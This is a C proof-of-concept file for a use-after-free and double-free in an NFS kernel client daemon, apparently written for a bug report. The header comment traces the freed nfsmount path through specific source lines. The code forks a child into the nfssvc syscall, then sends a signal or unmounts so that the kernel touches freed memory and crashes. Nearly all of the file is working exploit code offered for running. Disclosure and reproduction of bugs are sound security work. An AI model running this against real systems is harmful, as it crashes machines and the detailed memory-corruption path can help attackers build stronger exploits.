DF-3255 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | /* * DF-3255 PoC: nfs_clientd() use-after-free / double-free on non-KERB NFS mounts. * * sys/vfs/nfs/nfs_kerb.c:106-141 — nfs_clientd() is entered for ANY mount via * nfssvc(NFSSVC_MNTD) (no KERB check, sys/vfs/nfs/nfs_syscalls.c:160-187), * but nfs_unmount() only defers the nfsmount free to the clientd for KERB * mounts (sys/vfs/nfs/nfs_vfsops.c:1230,1242-1244). For a non-KERB mount: * * variant "sig" (default): the sleeping clientd gets SIGTERM -> tsleep * returns EINTR -> nfs_kerb.c:126 dounmount(nmp->nm_mountp,0,0) -> * nfs_unmount kfree(nmp) -> dounmount mount_drop() kfree(mp) -> returns * into nfs_clientd which re-reads nmp->nm_state (FREED) in its loop * condition -> with debug.use_weird_array=1 the freed chunk is * 0xdeadc0de-filled; bit 23 (NFSSTA_DISMNT=0x00800000) is set in the * poison -> loop exits -> teardown walks poisoned nm_uidlruhead * (tqh_first = 0xdeadc0de) -> LIST_REMOVE(0xdeadc0de,...) -> fatal trap. * * variant "umount": parent unmount(2)s the mount while the child sleeps in * the clientd loop; child wakes <= hz/3 later and dereferences the freed * nfsmount exactly the same way. * * Must run as root (nfssvc requires SYSCAP_RESTRICTEDROOT). Requires a * loopback NFS mount (see run.sh). */ #include <sys/types.h> #include <sys/param.h> #include <sys/mount.h> #include <sys/wait.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <signal.h> #define SYS_nfssvc 155 #define NFSSVC_MNTD 0x100 /* struct nfsd_cargs — verbatim layout from sys/vfs/nfs/nfs.h:215 */ typedef unsigned char NFSKERBKEY_T[2]; struct nfsd_cargs { char *ncd_dirp; /* Mount dir path */ uid_t ncd_authuid; /* Effective uid */ int ncd_authtype; /* Type of authenticator */ unsigned int ncd_authlen; /* Length of authenticator string */ unsigned char *ncd_authstr; /* Authenticator string */ unsigned int ncd_verflen; /* and the verifier */ unsigned char *ncd_verfstr; NFSKERBKEY_T ncd_key; /* Session key */ }; int main(int argc, char **argv) { struct nfsd_cargs ncd; pid_t pid; int status; const char *variant; if (argc < 2) { fprintf(stderr, "usage: poc <mountpoint> [sig|umount]\n"); exit(1); } variant = (argc > 2) ? argv[2] : "sig"; memset(&ncd, 0, sizeof(ncd)); ncd.ncd_dirp = strdup(argv[1]); pid = fork(); if (pid < 0) { perror("fork"); exit(1); } if (pid == 0) { /* * Child: enters nfs_clientd() in the kernel. * First MNTD entry (no GOTAUTH): nfs_kerb.c:100-101 sets * NFSSTA_WAITAUTH, then the loop tsleeps on * &nmp->nm_authstr ("nqnfstimr") every hz/3. */ int rv; fprintf(stderr, "child %d: entering nfssvc(NFSSVC_MNTD, %s)\n", getpid(), argv[1]); rv = syscall(SYS_nfssvc, NFSSVC_MNTD, &ncd); fprintf(stderr, "child: nfssvc returned %d errno=%d (UAF loop escaped)\n", rv, errno); _exit(0); } sleep(3); /* let the child settle into the clientd tsleep */ if (strcmp(variant, "sig") == 0) { /* * Self-dounmount path: PCATCH tsleep returns EINTR; * nfs_clientd itself calls dounmount() which frees both * nmp and mp out from under the still-running loop. */ fprintf(stderr, "parent: SIGTERM -> child\n"); kill(pid, SIGTERM); } else { /* * External unmount path: nfs_unmount() kfree(nmp) while the * child's syscall context is inside the clientd loop. */ fprintf(stderr, "parent: unmount(%s)\n", argv[1]); if (unmount(argv[1], 0) < 0) perror("parent: unmount"); } sleep(5); if (waitpid(pid, &status, WNOHANG) == 0) { fprintf(stderr, "parent: child still blocked in nfssvc " "(kernel stuck in freed-memory loop)\n"); kill(pid, SIGKILL); /* 2nd signal -> EINTR path again -> dounmount(nmp->nm_mountp) on freed */ sleep(3); } waitpid(pid, &status, WNOHANG); fprintf(stderr, "parent: done\n"); return (0); } |